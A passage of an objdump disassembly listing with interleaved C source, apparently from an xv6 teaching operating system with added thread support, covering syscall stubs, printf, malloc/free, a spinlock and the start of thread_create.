16cb: c3 ret
000016cc <link>:
SYSCALL(link)
16cc: b8 13 00 00 00 mov $0x13,%eax
16d1: cd 40 int $0x40
16d3: c3 ret
000016d4 <mkdir>:
SYSCALL(mkdir)
16d4: b8 14 00 00 00 mov $0x14,%eax
16d9: cd 40 int $0x40
16db: c3 ret
000016dc <chdir>:
SYSCALL(chdir)
16dc: b8 09 00 00 00 mov $0x9,%eax
16e1: cd 40 int $0x40
16e3: c3 ret
000016e4 <dup>:
SYSCALL(dup)
16e4: b8 0a 00 00 00 mov $0xa,%eax
16e9: cd 40 int $0x40
16eb: c3 ret
000016ec <getpid>:
SYSCALL(getpid)
16ec: b8 0b 00 00 00 mov $0xb,%eax
16f1: cd 40 int $0x40
16f3: c3 ret
000016f4 <sbrk>:
SYSCALL(sbrk)
16f4: b8 0c 00 00 00 mov $0xc,%eax
16f9: cd 40 int $0x40
16fb: c3 ret
000016fc <sleep>:
SYSCALL(sleep)
16fc: b8 0d 00 00 00 mov $0xd,%eax
1701: cd 40 int $0x40
1703: c3 ret
00001704 <uptime>:
SYSCALL(uptime)
1704: b8 0e 00 00 00 mov $0xe,%eax
1709: cd 40 int $0x40
170b: c3 ret
0000170c <clone>:
SYSCALL(clone)
170c: b8 16 00 00 00 mov $0x16,%eax
1711: cd 40 int $0x40
1713: c3 ret
00001714 <texit>:
SYSCALL(texit)
1714: b8 17 00 00 00 mov $0x17,%eax
1719: cd 40 int $0x40
171b: c3 ret
0000171c <tsleep>:
SYSCALL(tsleep)
171c: b8 18 00 00 00 mov $0x18,%eax
1721: cd 40 int $0x40
1723: c3 ret
00001724 <twakeup>:
SYSCALL(twakeup)
1724: b8 19 00 00 00 mov $0x19,%eax
1729: cd 40 int $0x40
172b: c3 ret
0000172c <thread_yield>:
SYSCALL(thread_yield)
172c: b8 1a 00 00 00 mov $0x1a,%eax
1731: cd 40 int $0x40
1733: c3 ret
00001734 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1734: 55 push %ebp
1735: 89 e5 mov %esp,%ebp
1737: 83 ec 18 sub $0x18,%esp
173a: 8b 45 0c mov 0xc(%ebp),%eax
173d: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
1740: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1747: 00
1748: 8d 45 f4 lea -0xc(%ebp),%eax
174b: 89 44 24 04 mov %eax,0x4(%esp)
174f: 8b 45 08 mov 0x8(%ebp),%eax
1752: 89 04 24 mov %eax,(%esp)
1755: e8 32 ff ff ff call 168c <write>
}
175a: c9 leave
175b: c3 ret
0000175c <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
175c: 55 push %ebp
175d: 89 e5 mov %esp,%ebp
175f: 56 push %esi
1760: 53 push %ebx
1761: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1764: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
176b: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
176f: 74 17 je 1788 <printint+0x2c>
1771: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1775: 79 11 jns 1788 <printint+0x2c>
neg = 1;
1777: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
177e: 8b 45 0c mov 0xc(%ebp),%eax
1781: f7 d8 neg %eax
1783: 89 45 ec mov %eax,-0x14(%ebp)
1786: eb 06 jmp 178e <printint+0x32>
} else {
x = xx;
1788: 8b 45 0c mov 0xc(%ebp),%eax
178b: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
178e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
1795: 8b 4d f4 mov -0xc(%ebp),%ecx
1798: 8d 41 01 lea 0x1(%ecx),%eax
179b: 89 45 f4 mov %eax,-0xc(%ebp)
179e: 8b 5d 10 mov 0x10(%ebp),%ebx
17a1: 8b 45 ec mov -0x14(%ebp),%eax
17a4: ba 00 00 00 00 mov $0x0,%edx
17a9: f7 f3 div %ebx
17ab: 89 d0 mov %edx,%eax
17ad: 0f b6 80 3c 23 00 00 movzbl 0x233c(%eax),%eax
17b4: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
17b8: 8b 75 10 mov 0x10(%ebp),%esi
17bb: 8b 45 ec mov -0x14(%ebp),%eax
17be: ba 00 00 00 00 mov $0x0,%edx
17c3: f7 f6 div %esi
17c5: 89 45 ec mov %eax,-0x14(%ebp)
17c8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
17cc: 75 c7 jne 1795 <printint+0x39>
if(neg)
17ce: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
17d2: 74 10 je 17e4 <printint+0x88>
buf[i++] = '-';
17d4: 8b 45 f4 mov -0xc(%ebp),%eax
17d7: 8d 50 01 lea 0x1(%eax),%edx
17da: 89 55 f4 mov %edx,-0xc(%ebp)
17dd: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
17e2: eb 1f jmp 1803 <printint+0xa7>
17e4: eb 1d jmp 1803 <printint+0xa7>
putc(fd, buf[i]);
17e6: 8d 55 dc lea -0x24(%ebp),%edx
17e9: 8b 45 f4 mov -0xc(%ebp),%eax
17ec: 01 d0 add %edx,%eax
17ee: 0f b6 00 movzbl (%eax),%eax
17f1: 0f be c0 movsbl %al,%eax
17f4: 89 44 24 04 mov %eax,0x4(%esp)
17f8: 8b 45 08 mov 0x8(%ebp),%eax
17fb: 89 04 24 mov %eax,(%esp)
17fe: e8 31 ff ff ff call 1734 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
1803: 83 6d f4 01 subl $0x1,-0xc(%ebp)
1807: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
180b: 79 d9 jns 17e6 <printint+0x8a>
putc(fd, buf[i]);
}
180d: 83 c4 30 add $0x30,%esp
1810: 5b pop %ebx
1811: 5e pop %esi
1812: 5d pop %ebp
1813: c3 ret
00001814 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
1814: 55 push %ebp
1815: 89 e5 mov %esp,%ebp
1817: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
181a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
1821: 8d 45 0c lea 0xc(%ebp),%eax
1824: 83 c0 04 add $0x4,%eax
1827: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
182a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
1831: e9 7c 01 00 00 jmp 19b2 <printf+0x19e>
c = fmt[i] & 0xff;
1836: 8b 55 0c mov 0xc(%ebp),%edx
1839: 8b 45 f0 mov -0x10(%ebp),%eax
183c: 01 d0 add %edx,%eax
183e: 0f b6 00 movzbl (%eax),%eax
1841: 0f be c0 movsbl %al,%eax
1844: 25 ff 00 00 00 and $0xff,%eax
1849: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
184c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1850: 75 2c jne 187e <printf+0x6a>
if(c == '%'){
1852: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1856: 75 0c jne 1864 <printf+0x50>
state = '%';
1858: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
185f: e9 4a 01 00 00 jmp 19ae <printf+0x19a>
} else {
putc(fd, c);
1864: 8b 45 e4 mov -0x1c(%ebp),%eax
1867: 0f be c0 movsbl %al,%eax
186a: 89 44 24 04 mov %eax,0x4(%esp)
186e: 8b 45 08 mov 0x8(%ebp),%eax
1871: 89 04 24 mov %eax,(%esp)
1874: e8 bb fe ff ff call 1734 <putc>
1879: e9 30 01 00 00 jmp 19ae <printf+0x19a>
}
} else if(state == '%'){
187e: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
1882: 0f 85 26 01 00 00 jne 19ae <printf+0x19a>
if(c == 'd'){
1888: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
188c: 75 2d jne 18bb <printf+0xa7>
printint(fd, *ap, 10, 1);
188e: 8b 45 e8 mov -0x18(%ebp),%eax
1891: 8b 00 mov (%eax),%eax
1893: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
189a: 00
189b: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
18a2: 00
18a3: 89 44 24 04 mov %eax,0x4(%esp)
18a7: 8b 45 08 mov 0x8(%ebp),%eax
18aa: 89 04 24 mov %eax,(%esp)
18ad: e8 aa fe ff ff call 175c <printint>
ap++;
18b2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
18b6: e9 ec 00 00 00 jmp 19a7 <printf+0x193>
} else if(c == 'x' || c == 'p'){
18bb: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
18bf: 74 06 je 18c7 <printf+0xb3>
18c1: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
18c5: 75 2d jne 18f4 <printf+0xe0>
printint(fd, *ap, 16, 0);
18c7: 8b 45 e8 mov -0x18(%ebp),%eax
18ca: 8b 00 mov (%eax),%eax
18cc: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
18d3: 00
18d4: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
18db: 00
18dc: 89 44 24 04 mov %eax,0x4(%esp)
18e0: 8b 45 08 mov 0x8(%ebp),%eax
18e3: 89 04 24 mov %eax,(%esp)
18e6: e8 71 fe ff ff call 175c <printint>
ap++;
18eb: 83 45 e8 04 addl $0x4,-0x18(%ebp)
18ef: e9 b3 00 00 00 jmp 19a7 <printf+0x193>
} else if(c == 's'){
18f4: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
18f8: 75 45 jne 193f <printf+0x12b>
s = (char*)*ap;
18fa: 8b 45 e8 mov -0x18(%ebp),%eax
18fd: 8b 00 mov (%eax),%eax
18ff: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
1902: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
1906: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
190a: 75 09 jne 1915 <printf+0x101>
s = "(null)";
190c: c7 45 f4 37 1f 00 00 movl $0x1f37,-0xc(%ebp)
while(*s != 0){
1913: eb 1e jmp 1933 <printf+0x11f>
1915: eb 1c jmp 1933 <printf+0x11f>
putc(fd, *s);
1917: 8b 45 f4 mov -0xc(%ebp),%eax
191a: 0f b6 00 movzbl (%eax),%eax
191d: 0f be c0 movsbl %al,%eax
1920: 89 44 24 04 mov %eax,0x4(%esp)
1924: 8b 45 08 mov 0x8(%ebp),%eax
1927: 89 04 24 mov %eax,(%esp)
192a: e8 05 fe ff ff call 1734 <putc>
s++;
192f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1933: 8b 45 f4 mov -0xc(%ebp),%eax
1936: 0f b6 00 movzbl (%eax),%eax
1939: 84 c0 test %al,%al
193b: 75 da jne 1917 <printf+0x103>
193d: eb 68 jmp 19a7 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
193f: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
1943: 75 1d jne 1962 <printf+0x14e>
putc(fd, *ap);
1945: 8b 45 e8 mov -0x18(%ebp),%eax
1948: 8b 00 mov (%eax),%eax
194a: 0f be c0 movsbl %al,%eax
194d: 89 44 24 04 mov %eax,0x4(%esp)
1951: 8b 45 08 mov 0x8(%ebp),%eax
1954: 89 04 24 mov %eax,(%esp)
1957: e8 d8 fd ff ff call 1734 <putc>
ap++;
195c: 83 45 e8 04 addl $0x4,-0x18(%ebp)
1960: eb 45 jmp 19a7 <printf+0x193>
} else if(c == '%'){
1962: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1966: 75 17 jne 197f <printf+0x16b>
putc(fd, c);
1968: 8b 45 e4 mov -0x1c(%ebp),%eax
196b: 0f be c0 movsbl %al,%eax
196e: 89 44 24 04 mov %eax,0x4(%esp)
1972: 8b 45 08 mov 0x8(%ebp),%eax
1975: 89 04 24 mov %eax,(%esp)
1978: e8 b7 fd ff ff call 1734 <putc>
197d: eb 28 jmp 19a7 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
197f: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
1986: 00
1987: 8b 45 08 mov 0x8(%ebp),%eax
198a: 89 04 24 mov %eax,(%esp)
198d: e8 a2 fd ff ff call 1734 <putc>
putc(fd, c);
1992: 8b 45 e4 mov -0x1c(%ebp),%eax
1995: 0f be c0 movsbl %al,%eax
1998: 89 44 24 04 mov %eax,0x4(%esp)
199c: 8b 45 08 mov 0x8(%ebp),%eax
199f: 89 04 24 mov %eax,(%esp)
19a2: e8 8d fd ff ff call 1734 <putc>
}
state = 0;
19a7: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
19ae: 83 45 f0 01 addl $0x1,-0x10(%ebp)
19b2: 8b 55 0c mov 0xc(%ebp),%edx
19b5: 8b 45 f0 mov -0x10(%ebp),%eax
19b8: 01 d0 add %edx,%eax
19ba: 0f b6 00 movzbl (%eax),%eax
19bd: 84 c0 test %al,%al
19bf: 0f 85 71 fe ff ff jne 1836 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
19c5: c9 leave
19c6: c3 ret
19c7: 90 nop
000019c8 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
19c8: 55 push %ebp
19c9: 89 e5 mov %esp,%ebp
19cb: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
19ce: 8b 45 08 mov 0x8(%ebp),%eax
19d1: 83 e8 08 sub $0x8,%eax
19d4: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
19d7: a1 74 23 00 00 mov 0x2374,%eax
19dc: 89 45 fc mov %eax,-0x4(%ebp)
19df: eb 24 jmp 1a05 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
19e1: 8b 45 fc mov -0x4(%ebp),%eax
19e4: 8b 00 mov (%eax),%eax
19e6: 3b 45 fc cmp -0x4(%ebp),%eax
19e9: 77 12 ja 19fd <free+0x35>
19eb: 8b 45 f8 mov -0x8(%ebp),%eax
19ee: 3b 45 fc cmp -0x4(%ebp),%eax
19f1: 77 24 ja 1a17 <free+0x4f>
19f3: 8b 45 fc mov -0x4(%ebp),%eax
19f6: 8b 00 mov (%eax),%eax
19f8: 3b 45 f8 cmp -0x8(%ebp),%eax
19fb: 77 1a ja 1a17 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
19fd: 8b 45 fc mov -0x4(%ebp),%eax
1a00: 8b 00 mov (%eax),%eax
1a02: 89 45 fc mov %eax,-0x4(%ebp)
1a05: 8b 45 f8 mov -0x8(%ebp),%eax
1a08: 3b 45 fc cmp -0x4(%ebp),%eax
1a0b: 76 d4 jbe 19e1 <free+0x19>
1a0d: 8b 45 fc mov -0x4(%ebp),%eax
1a10: 8b 00 mov (%eax),%eax
1a12: 3b 45 f8 cmp -0x8(%ebp),%eax
1a15: 76 ca jbe 19e1 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
1a17: 8b 45 f8 mov -0x8(%ebp),%eax
1a1a: 8b 40 04 mov 0x4(%eax),%eax
1a1d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1a24: 8b 45 f8 mov -0x8(%ebp),%eax
1a27: 01 c2 add %eax,%edx
1a29: 8b 45 fc mov -0x4(%ebp),%eax
1a2c: 8b 00 mov (%eax),%eax
1a2e: 39 c2 cmp %eax,%edx
1a30: 75 24 jne 1a56 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
1a32: 8b 45 f8 mov -0x8(%ebp),%eax
1a35: 8b 50 04 mov 0x4(%eax),%edx
1a38: 8b 45 fc mov -0x4(%ebp),%eax
1a3b: 8b 00 mov (%eax),%eax
1a3d: 8b 40 04 mov 0x4(%eax),%eax
1a40: 01 c2 add %eax,%edx
1a42: 8b 45 f8 mov -0x8(%ebp),%eax
1a45: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
1a48: 8b 45 fc mov -0x4(%ebp),%eax
1a4b: 8b 00 mov (%eax),%eax
1a4d: 8b 10 mov (%eax),%edx
1a4f: 8b 45 f8 mov -0x8(%ebp),%eax
1a52: 89 10 mov %edx,(%eax)
1a54: eb 0a jmp 1a60 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
1a56: 8b 45 fc mov -0x4(%ebp),%eax
1a59: 8b 10 mov (%eax),%edx
1a5b: 8b 45 f8 mov -0x8(%ebp),%eax
1a5e: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
1a60: 8b 45 fc mov -0x4(%ebp),%eax
1a63: 8b 40 04 mov 0x4(%eax),%eax
1a66: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1a6d: 8b 45 fc mov -0x4(%ebp),%eax
1a70: 01 d0 add %edx,%eax
1a72: 3b 45 f8 cmp -0x8(%ebp),%eax
1a75: 75 20 jne 1a97 <free+0xcf>
p->s.size += bp->s.size;
1a77: 8b 45 fc mov -0x4(%ebp),%eax
1a7a: 8b 50 04 mov 0x4(%eax),%edx
1a7d: 8b 45 f8 mov -0x8(%ebp),%eax
1a80: 8b 40 04 mov 0x4(%eax),%eax
1a83: 01 c2 add %eax,%edx
1a85: 8b 45 fc mov -0x4(%ebp),%eax
1a88: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1a8b: 8b 45 f8 mov -0x8(%ebp),%eax
1a8e: 8b 10 mov (%eax),%edx
1a90: 8b 45 fc mov -0x4(%ebp),%eax
1a93: 89 10 mov %edx,(%eax)
1a95: eb 08 jmp 1a9f <free+0xd7>
} else
p->s.ptr = bp;
1a97: 8b 45 fc mov -0x4(%ebp),%eax
1a9a: 8b 55 f8 mov -0x8(%ebp),%edx
1a9d: 89 10 mov %edx,(%eax)
freep = p;
1a9f: 8b 45 fc mov -0x4(%ebp),%eax
1aa2: a3 74 23 00 00 mov %eax,0x2374
}
1aa7: c9 leave
1aa8: c3 ret
00001aa9 <morecore>:
static Header*
morecore(uint nu)
{
1aa9: 55 push %ebp
1aaa: 89 e5 mov %esp,%ebp
1aac: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
1aaf: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
1ab6: 77 07 ja 1abf <morecore+0x16>
nu = 4096;
1ab8: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
1abf: 8b 45 08 mov 0x8(%ebp),%eax
1ac2: c1 e0 03 shl $0x3,%eax
1ac5: 89 04 24 mov %eax,(%esp)
1ac8: e8 27 fc ff ff call 16f4 <sbrk>
1acd: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
1ad0: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
1ad4: 75 07 jne 1add <morecore+0x34>
return 0;
1ad6: b8 00 00 00 00 mov $0x0,%eax
1adb: eb 22 jmp 1aff <morecore+0x56>
hp = (Header*)p;
1add: 8b 45 f4 mov -0xc(%ebp),%eax
1ae0: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
1ae3: 8b 45 f0 mov -0x10(%ebp),%eax
1ae6: 8b 55 08 mov 0x8(%ebp),%edx
1ae9: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
1aec: 8b 45 f0 mov -0x10(%ebp),%eax
1aef: 83 c0 08 add $0x8,%eax
1af2: 89 04 24 mov %eax,(%esp)
1af5: e8 ce fe ff ff call 19c8 <free>
return freep;
1afa: a1 74 23 00 00 mov 0x2374,%eax
}
1aff: c9 leave
1b00: c3 ret
00001b01 <malloc>:
void*
malloc(uint nbytes)
{
1b01: 55 push %ebp
1b02: 89 e5 mov %esp,%ebp
1b04: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1b07: 8b 45 08 mov 0x8(%ebp),%eax
1b0a: 83 c0 07 add $0x7,%eax
1b0d: c1 e8 03 shr $0x3,%eax
1b10: 83 c0 01 add $0x1,%eax
1b13: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
1b16: a1 74 23 00 00 mov 0x2374,%eax
1b1b: 89 45 f0 mov %eax,-0x10(%ebp)
1b1e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1b22: 75 23 jne 1b47 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
1b24: c7 45 f0 6c 23 00 00 movl $0x236c,-0x10(%ebp)
1b2b: 8b 45 f0 mov -0x10(%ebp),%eax
1b2e: a3 74 23 00 00 mov %eax,0x2374
1b33: a1 74 23 00 00 mov 0x2374,%eax
1b38: a3 6c 23 00 00 mov %eax,0x236c
base.s.size = 0;
1b3d: c7 05 70 23 00 00 00 movl $0x0,0x2370
1b44: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1b47: 8b 45 f0 mov -0x10(%ebp),%eax
1b4a: 8b 00 mov (%eax),%eax
1b4c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
1b4f: 8b 45 f4 mov -0xc(%ebp),%eax
1b52: 8b 40 04 mov 0x4(%eax),%eax
1b55: 3b 45 ec cmp -0x14(%ebp),%eax
1b58: 72 4d jb 1ba7 <malloc+0xa6>
if(p->s.size == nunits)
1b5a: 8b 45 f4 mov -0xc(%ebp),%eax
1b5d: 8b 40 04 mov 0x4(%eax),%eax
1b60: 3b 45 ec cmp -0x14(%ebp),%eax
1b63: 75 0c jne 1b71 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
1b65: 8b 45 f4 mov -0xc(%ebp),%eax
1b68: 8b 10 mov (%eax),%edx
1b6a: 8b 45 f0 mov -0x10(%ebp),%eax
1b6d: 89 10 mov %edx,(%eax)
1b6f: eb 26 jmp 1b97 <malloc+0x96>
else {
p->s.size -= nunits;
1b71: 8b 45 f4 mov -0xc(%ebp),%eax
1b74: 8b 40 04 mov 0x4(%eax),%eax
1b77: 2b 45 ec sub -0x14(%ebp),%eax
1b7a: 89 c2 mov %eax,%edx
1b7c: 8b 45 f4 mov -0xc(%ebp),%eax
1b7f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
1b82: 8b 45 f4 mov -0xc(%ebp),%eax
1b85: 8b 40 04 mov 0x4(%eax),%eax
1b88: c1 e0 03 shl $0x3,%eax
1b8b: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
1b8e: 8b 45 f4 mov -0xc(%ebp),%eax
1b91: 8b 55 ec mov -0x14(%ebp),%edx
1b94: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
1b97: 8b 45 f0 mov -0x10(%ebp),%eax
1b9a: a3 74 23 00 00 mov %eax,0x2374
return (void*)(p + 1);
1b9f: 8b 45 f4 mov -0xc(%ebp),%eax
1ba2: 83 c0 08 add $0x8,%eax
1ba5: eb 38 jmp 1bdf <malloc+0xde>
}
if(p == freep)
1ba7: a1 74 23 00 00 mov 0x2374,%eax
1bac: 39 45 f4 cmp %eax,-0xc(%ebp)
1baf: 75 1b jne 1bcc <malloc+0xcb>
if((p = morecore(nunits)) == 0)
1bb1: 8b 45 ec mov -0x14(%ebp),%eax
1bb4: 89 04 24 mov %eax,(%esp)
1bb7: e8 ed fe ff ff call 1aa9 <morecore>
1bbc: 89 45 f4 mov %eax,-0xc(%ebp)
1bbf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1bc3: 75 07 jne 1bcc <malloc+0xcb>
return 0;
1bc5: b8 00 00 00 00 mov $0x0,%eax
1bca: eb 13 jmp 1bdf <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1bcc: 8b 45 f4 mov -0xc(%ebp),%eax
1bcf: 89 45 f0 mov %eax,-0x10(%ebp)
1bd2: 8b 45 f4 mov -0xc(%ebp),%eax
1bd5: 8b 00 mov (%eax),%eax
1bd7: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
1bda: e9 70 ff ff ff jmp 1b4f <malloc+0x4e>
}
1bdf: c9 leave
1be0: c3 ret
1be1: 66 90 xchg %ax,%ax
1be3: 90 nop
00001be4 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
1be4: 55 push %ebp
1be5: 89 e5 mov %esp,%ebp
1be7: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
1bea: 8b 55 08 mov 0x8(%ebp),%edx
1bed: 8b 45 0c mov 0xc(%ebp),%eax
1bf0: 8b 4d 08 mov 0x8(%ebp),%ecx
1bf3: f0 87 02 lock xchg %eax,(%edx)
1bf6: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
1bf9: 8b 45 fc mov -0x4(%ebp),%eax
}
1bfc: c9 leave
1bfd: c3 ret
00001bfe <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
1bfe: 55 push %ebp
1bff: 89 e5 mov %esp,%ebp
lock->locked = 0;
1c01: 8b 45 08 mov 0x8(%ebp),%eax
1c04: c7 00 00 00 00 00 movl $0x0,(%eax)
}
1c0a: 5d pop %ebp
1c0b: c3 ret
00001c0c <lock_acquire>:
void lock_acquire(lock_t *lock){
1c0c: 55 push %ebp
1c0d: 89 e5 mov %esp,%ebp
1c0f: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
1c12: 90 nop
1c13: 8b 45 08 mov 0x8(%ebp),%eax
1c16: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1c1d: 00
1c1e: 89 04 24 mov %eax,(%esp)
1c21: e8 be ff ff ff call 1be4 <xchg>
1c26: 85 c0 test %eax,%eax
1c28: 75 e9 jne 1c13 <lock_acquire+0x7>
}
1c2a: c9 leave
1c2b: c3 ret
00001c2c <lock_release>:
void lock_release(lock_t *lock){
1c2c: 55 push %ebp
1c2d: 89 e5 mov %esp,%ebp
1c2f: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
1c32: 8b 45 08 mov 0x8(%ebp),%eax
1c35: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1c3c: 00
1c3d: 89 04 24 mov %eax,(%esp)
1c40: e8 9f ff ff ff call 1be4 <xchg>
}
1c45: c9 leave
1c46: c3 ret
00001c47 <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
1c47: 55 push %ebp
1c48: 89 e5 mov %esp,%ebp
1c4a: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
1c4d: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
1c54: e8 a8 fe ff ff call 1b01 <malloc>
1c59: 89 45 f4 mov %eax,-0xc(%ebp)
void *garbage_stack = stack;
1c5c: 8b 45 f4 mov -0xc(%ebp),%eax
1c5f: 89 45 f0 mov %eax,-0x10(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
1c62: 8b 45 f4 mov -0xc(%ebp),%eax
1c65: 25 ff 0f 00 00 and $0xfff,%eax
1c6a: 85 c0 test %eax,%eax
1c6c: 74 14 je 1c82 <thread_create+0x3b>
stack = stack + (4096 - (uint)stack % 4096);
1c6e: 8b 45 f4 mov -0xc(%ebp),%eax
1c71: 25 ff 0f 00 00 and $0xfff,%eax
1c76: 89 c2 mov %eax,%edx
1c78: b8 00 10 00 00 mov $0x1000,%eax
1c7d: 29 d0 sub %edx,%eax
1c7f: 01 45 f4 add %eax,-0xc(%ebp)
}
if (stack == 0){
1c82: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1c86: 75 1b jne 1ca3 <thread_create+0x5c>
printf(1,"malloc fail \n");
1c88: c7 44 24 04 3e 1f 00 movl $0x1f3e,0x4(%esp)
1c8f: 00
1c90: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c97: e8 78 fb ff ff call 1814 <printf>
return 0;
1c9c: b8 00 00 00 00 mov $0x0,%eax
1ca1: eb 6f jmp 1d12 <thread_create+0xcb>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
1ca3: 8b 4d 0c mov 0xc(%ebp),%ecx
1ca6: 8b 55 08 mov 0x8(%ebp),%edx
1ca9: 8b 45 f4 mov -0xc(%ebp),%eax
1cac: 89 4c 24 0c mov %ecx,0xc(%esp)
1cb0: 89 54 24 08 mov %edx,0x8(%esp)
1cb4: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
1cbb: 00
